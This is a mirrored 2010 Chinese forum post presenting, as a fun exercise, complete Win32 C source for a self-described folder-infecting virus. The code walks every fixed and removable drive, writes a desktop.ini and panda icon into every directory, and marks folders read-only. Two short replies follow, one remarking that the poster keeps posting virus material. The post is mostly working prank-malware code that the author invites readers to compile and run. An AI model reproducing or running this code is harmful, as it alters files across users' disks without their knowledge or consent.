BBYR Achieve
返回信息流
这是一条镜像帖。来源:北邮人论坛 / cpp / #46626同步于 2010/11/22
该镜像源已超过 30 天没有更新,可能在源站已被删除。
CPP机器人发帖

文件夹感染!!!!!!!!

l19900617
2010/11/22镜像同步2 回复
病毒这玩意一听就感觉比较邪恶,但反过来说邪恶的东西也有比较可爱的一面比如我感觉 熊猫烧香的那个小猫就长的很标志 黑防早期的杂志专门做过病毒方面的栏目由CVC组织交主打,现在那些大牛们都专正了,不玩了,但那些伟大的坑仍让我们崇拜 不及,现在我们自己来写简单来玩玩,呵呵只要好玩就行了...通常病毒都是感染EXE COM等可执行文件,现在我们做一个感染文 件夹的 其主要特征就是文件夹图标会变成一个小熊猫 实现原理与步骤 修改文件夹图标的方法就是 在文件夹中放入两个文件,它们分别是 Desktop.ini 和 一个ico文件然后在Desktop.ini中写入如下内容 [.ShellClassInfo] IconFile=GouGe.ico IconIndex=0 其中GouGe.ico就是你要显示的文件夹图标了这个名字是可以改的,主要步骤分为1.枚举磁盘2.枚举目录3.进行感染总的来说就是这3步了 下面开始一个一个解析 1.枚举磁盘 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { for(char i='A';i<='Z';i++) { char x[20]={i,':'}; UINT Type=GetDriveType(x); if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE)//取硬盘和移动磁盘 { EnumDirectory(x);//进行感染 此函数下面介绍 } } return 0; } 2.枚举目录 bool EnumDirectory(TCHAR *dirpath) { WIN32_FIND_DATA fd; TCHAR szTempFileFind[MAX_PATH] = { 0 }; bool bIsFinish = false; ZeroMemory(&fd, sizeof(WIN32_FIND_DATA)); wsprintf(szTempFileFind, "%s\\*.*", dirpath); HANDLE hFind = FindFirstFile(szTempFileFind, &fd); if (hFind == INVALID_HANDLE_VALUE) { return false; } while (!bIsFinish) { bIsFinish = (FindNextFile(hFind, &fd)) ? false : true; if ((strcmp(fd.cFileName, ".") != 0) && (strcmp(fd.cFileName, "..") != 0)) { TCHAR szFoundFileName[MAX_PATH] = { 0 }; strcpy(szFoundFileName, fd.cFileName); if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { TCHAR szTempDir[MAX_PATH] = { 0 }; wsprintf(szTempDir, "%s\\%s", dirpath, szFoundFileName); Sleep(10); inject(szTempDir);//进行感染 此函数下面介绍 EnumDirectory(szTempDir);//递归调用 } } } FindClose(hFind); return 0; } 此函数主要使用递归调用的方法对指定目录进行枚举,并感染,如果是文件则跳过 3.进行感染 void inject(char* path) { char inifilepath[256]; char icofilepath[256]; strcpy(inifilepath,path); strcpy(icofilepath,path); strcat(inifilepath,"\\desktop.ini"); strcat(icofilepath,"\\LengFeng.ico"); WriteResourceToFile(icofilepath);//生成ICO文件 此函数下面介绍 SetFileAttributes(path,FILE_ATTRIBUTE_READONLY); WritePrivateProfileString(".ShellClassInfo","IconFile","LengFeng.ico",inifilepath);//写入INI WritePrivateProfileString(".ShellClassInfo","IconIndex","0",inifilepath);//写入INI } 此函数负责把ICO和INI文件写入指定目录ICO文件是由资源的方式加载并生成的,而INI文件则是动态写入的 4.生成ICO文件 bool WriteResourceToFile(char const *filename) { HINSTANCE hInstance=GetModuleHandle(NULL); HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(ID_ICO),MAKEINTRESOURCE(RC_BINARYTYPE)); HGLOBAL hgRes = LoadResource(hInstance, hResInfo); void *pvRes = LockResource(hgRes); DWORD cbRes = SizeofResource(hInstance, hResInfo); HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0); DWORD cbWritten; WriteFile(hFile, pvRes, cbRes, &cbWritten, 0); CloseHandle(hFile); return false; } 此函数中ID_ICO与RC_BINARYTYPE是自己定义的它们分别代码资源名称和资源类型 因为ICO是以资源的方式加载的那么如何在SDK的程序中 加载资源呢?请看下面的实现嘿嘿 5.SDK中加载资源 如果你使用了VC或者BCB又或DELPHI那么可以直接导入,但在VC中的SDK程序中是没有这个功能的,所以我们要自己实现 首先新建一个名为resource.h的头文件并输入 #define RC_BINARYTYPE 256 #define ID_ICO 100 资源中的类型和名称都是常数值可以自己定义,然后新建一个名为res.rc的文件并加入如下内容 #include "resource.h" ID_ICO RC_BINARYTYPE ico.ico//将名称 类型 和文件关连 最后把 ico.ico这个文件拷贝到相同的目录下 , 这样就完成了,使用的时候直接加入头文件resource.h就可以了 其实整个源代码也在这里了 有兴趣的话可以试试运行 编译好的程序 保证让你"满眼尽是小熊猫"
订阅后,新回复会通过你的通知中心匿名送达。
2 条回复
gootyking机器人#1 · 2010/11/22
发现lz尽发病毒系列。。。 【 在 l19900617 (蛋蛋的世界'Blog) 的大作中提到: 】 : 病毒这玩意一听就感觉比较邪恶,但反过来说邪恶的东西也有比较可爱的一面比如我感觉 熊猫烧香的那个小猫就长的很标志 : 黑防早期的杂志专门做过病毒方面的栏目由CVC组织交主打,现在那些大牛们都专正了,不玩了,但那些伟大的坑仍让我们崇拜 : 不及,现在我们自己来写简单来玩玩,呵呵只要好玩就行了...通常病毒都是感染EXE COM等可执行文件,现在我们做一个感染文 : ...................
FadeToBlack机器人#2 · 2010/11/22
bm赶快来干掉lz这个发广告的